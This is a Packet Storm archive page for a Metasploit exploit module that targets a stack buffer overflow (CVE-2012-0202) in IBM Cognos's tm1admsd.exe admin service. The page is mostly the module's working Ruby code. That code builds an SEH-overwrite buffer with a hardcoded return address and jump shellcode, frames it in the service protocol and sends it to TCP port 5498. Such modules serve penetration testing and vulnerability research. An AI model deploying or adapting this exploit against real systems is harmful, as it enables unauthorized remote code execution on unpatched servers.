exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

IBM Cognos tm1admsd.exe Overflow

IBM Cognos tm1admsd.exe Overflow
Posted Jan 8, 2013
Authored by unknown, juan vazquez | Site metasploit.com

This Metasploit module exploits a stack buffer overflow in IBM Cognos Analytic Server Admin service. The vulnerability exists in the tm1admsd.exe component, due to a dangerous copy of user controlled data to the stack, via memcpy, without validating the supplied length and data. The module has been tested successfully on IBM Cognos Express 9.5 over Windows XP SP3.

tags | exploit, overflow
systems | windows
advisories | CVE-2012-0202, OSVDB-80876
SHA-256 | abf55a041edebfc9c10a71c63250d53ebae7935806c4ab38d15c7743ef4a47b2

IBM Cognos tm1admsd.exe Overflow

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'IBM Cognos tm1admsd.exe Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in IBM Cognos Analytic Server
Admin service. The vulnerability exists in the tm1admsd.exe component, due to a
dangerous copy of user controlled data to the stack, via memcpy, without validating
the supplied length and data. The module has been tested successfully on IBM Cognos
Express 9.5 over Windows XP SP3.
},
'Author' =>
[
'Unknown', # Original discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2012-0202'],
['OSVDB', '80876'],
['BID', '52847'],
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-101/'],
['URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21590314']
],
'Privileged' => true,
'DefaultOptions' =>
{
'SSL' => true,
'SSLVersion' => 'TLS1'
},
'Payload' =>
{
'Space' => 10359,
'DisableNops' => true
},
'Platform' => 'win',
'DefaultTarget' => 0,
'Targets' =>
[
# tm1admsd.exe 9.5.10009.10070
# ret from unicode.nls # call dword ptr ss:[ebp+0x30] # tested over Windows XP SP3 updates
[ 'IBM Cognos Express 9.5 / Windows XP SP3', { 'Ret' => 0x00280b0b, 'Offset' => 10359 } ]
],
'DisclosureDate' => 'Apr 02 2012'))

register_options([Opt::RPORT(5498)], self.class)
end

def exploit

sploit = payload.encoded
sploit << rand_text(target['Offset'] - sploit.length)
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{target['Offset']}").encode_string
sploit << "\xEB\xF9" + rand_text(2) # jmp $-5
sploit << [target.ret].pack("V") # seh
sploit << rand_text(2000) # Trigger exception

data = rand_text(4)
data << "\x00\x08" # Opcode
data << [sploit.length].pack("n") # Length
data << sploit # Value

length = [data.length + 2].pack("n")

req = length
req << data

connect
sock.put(req)
disconnect

end
end

Login or Register to add favorites

File Archive:

January 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    0 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    5 Files
  • 4
    Jan 4th
    5 Files
  • 5
    Jan 5th
    9 Files
  • 6
    Jan 6th
    5 Files
  • 7
    Jan 7th
    0 Files
  • 8
    Jan 8th
    0 Files
  • 9
    Jan 9th
    18 Files
  • 10
    Jan 10th
    31 Files
  • 11
    Jan 11th
    30 Files
  • 12
    Jan 12th
    33 Files
  • 13
    Jan 13th
    25 Files
  • 14
    Jan 14th
    0 Files
  • 15
    Jan 15th
    0 Files
  • 16
    Jan 16th
    7 Files
  • 17
    Jan 17th
    25 Files
  • 18
    Jan 18th
    38 Files
  • 19
    Jan 19th
    6 Files
  • 20
    Jan 20th
    21 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    24 Files
  • 24
    Jan 24th
    68 Files
  • 25
    Jan 25th
    22 Files
  • 26
    Jan 26th
    20 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close